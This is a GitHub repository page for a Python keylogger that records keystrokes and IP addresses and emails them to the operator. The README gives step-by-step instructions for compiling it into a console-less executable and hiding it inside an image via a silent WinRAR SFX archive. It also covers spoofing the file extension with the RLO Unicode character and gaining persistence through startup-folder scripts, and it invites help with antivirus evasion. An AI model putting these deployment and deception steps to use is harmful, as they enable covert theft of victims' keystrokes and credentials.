Skip to content

Keylogger made with python that records keys and sends them to an email address.

Notifications You must be signed in to change notification settings

EmaBixD/python-keylogger

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

17 Commits
 
 
 
 
 
 
 
 

Repository files navigation

Keylogger made with python that records keys and sends them to an email address, also supports IP logging.

It aims for stability, open source, and in constant updates

Current detection

❌ = Undetected

✔ = Detected

Antivirus Status
Windows Defender
Quick Heal
Bitdefender

Any help in making the code undetectable is welcome. I need help testing the code on other operating systems and antiviruses

Requirements

  • pynput
  • requests

Configuration

Make sure to enter your email address and password for sending and receiving emails in the keylogger.py file

BUILD AN EXECUTABLE FROM PYTHON FILE

Installing pyinstaller with pip

In prompt enter: pip install pyinstaller

Compiling .py in .exe using pyinstaller

With prompt opened in the same directory of example.py type: pyinstaller --noconsole --onefile example.py

  • noconsole: does not show the console when the executable is launched
  • onefile: create a single executable file, containing all the necessary libraries, etc.

HOW TO HIDE ANY EXECUTABLE INSIDE A PHOTO USING WINRAR

Pack all files in a single executable

  1. Select all the files files (image.jpg, keylogger.vbs, keylogger.bat, keylogger.exe) and press Add to an archive options from WinRAR
  2. Check "Create SFX archive"
  3. "Advanced" tab -> press "SFX options"
    • Setup -> In "Run after extraction" write:
       image.jpg
       keylogger.vbs
       keylogger.exe
    • Modes -> Check "Unpack to temporary folder", select "Hide all"
    • (OPTIONAL but reccommended) Text and icon -> "Load SFX icon from the file" to give a preview of the file
    • Update -> Check "Overwrite all files"
  4. Confirm all

Change file extension: from .exe to .png

  1. Rename "example.exe" to "example.scr" (.scr keeps the same properties of .exe, but is less suspicious because it is shown as "screen saver")
  2. Rename adding "gnp" before ".scr" ("examplegnp.scr")
  3. Rename again, and, placing the cursor after "example" and before "gnp.scr" right click
  4. From the right-click menu choose Insert Unicode control character -> RLO (only "gnp.scr" part will be rotated showing "examplercs.png")
  5. Save and make sure to NOT REMOVE "rcs" part, otherwise executable will not work!

What are .bat and .vbs files used for?

The .bat file is used to clone the keylogger.exe file in the startup folder so that it starts every time you turn on your computer. The .vbs file, is simply used to call the .bat file without the prompt appearing, making the user suspicious.

In the future this will be probably simplified in a sigle file

Known bugs:

  • FIXED Slow and laggy typing while keylogger is active, will be fixed soon
  • Still detected on many AV

⚠ DISCLAIMER ⚠

Usage of the provided code is at your own risk. The author assumes no responsibility for any actions taken with the code. Please ensure compliance with applicable laws and use the code responsibly. ❗

CREDITS:

Script Hiding

About

Keylogger made with python that records keys and sends them to an email address.

Resources

Stars

Watchers

Forks

Releases

No releases published